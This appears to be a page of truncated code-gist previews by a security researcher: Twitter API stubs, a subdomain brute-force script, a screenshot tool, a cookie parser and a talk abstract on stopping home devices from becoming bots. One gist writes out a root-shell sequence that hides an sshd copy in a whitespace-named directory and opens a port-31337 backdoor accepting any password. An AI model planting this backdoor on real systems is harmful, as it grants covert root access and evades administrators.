mubix

#!/usr/bin/env ruby
require 'rubygems'
require 'twitter'

cli = Twitter::REST::Client.new do |config|
  config.consumer_key = "..."
  config.consumer_secret = "..."
  config.access_token = "..."
  config.access_token_secret = "..."
end

mubix

#!/usr/bin/env ruby
require 'rubygems'
require 'twitter'

# You can get the following by creating a "app" here: https://dev.twitter.com/apps
cli = Twitter::REST::Client.new do |config|
  config.consumer_key = ""
  config.consumer_secret = ""
  config.access_token = ""
  config.access_token_secret = ""

mubix

require 'sinatra'

# Notes:
# https://www.youtube.com/watch?v=H9Kxas65f7A @ 5 minutes 20 seconds
# http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.6
# http://www.askapache.com/htaccess/apache-status-code-headers-errordocument.html#305_Proxy
# http://www.checkupdown.com/status/E305.html


get '/' do

mubix

Stop your friends and family from becoming bots

by Rob Fuller

When we talk about big topics like "The Internet of Things" and protecting it is not just a company or government's job, it's everyones. I grew up with Recycle, Reduce, Reuse. I'll share some ways we can all help friends and family from becoming bots and pawns in this new cyber world.

Call to action: Free, quick, reusable tips that everyone should be able to use to help slow the tide of malware infections and bot use on the Internet.

---

Crowd sourcing security

mubix

simplest sshd backdoor ever.
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD BSDPWNED 9.0-RELEASE ...
BSDPWNED# mkdir /tmp/" "
BSDPWNED# ln -sf /usr/sbin/sshd /tmp/" "/su
BSDPWNED# /tmp/" "/su -oPort=31337
BSDPWNED# ssh -lroot -p31337 0
root@0's password: <any password>

mubix

#!/usr/bin/env ruby

#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#


def result?(sub)
  puts sub
	1 == 2

mubix

#!/usr/bin/env ruby

#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#

@domain = 'contoso.com'

def result?(sub)
	results = %x(dig +noall #{sub}.#{@domain} +answer)

mubix

#!/usr/bin/env ruby

require 'watir-webdriver'

def screenshot(url)
	b = Watir::Browser.new
	b.goto url
	filename = url
	if filename =~ /:\/\//
		filename = filename.split('://')[1]

mubix

var http = require('http');

function parseSwitch(req){
  var list = {},
  rc = req.headers.cookie;
  rc && rc.split(';').forEach(function( cookie ) {
    var parts = cookie.split('=');
    list[parts.shift().trim()] = unescape(parts.join('='));
  });
  return list;

mubix

#ifndef UNICODE
#define UNICODE
#endif

#include <Windows.h>
#include <string.h>
#include <stdio.h>
#include <Psapi.h>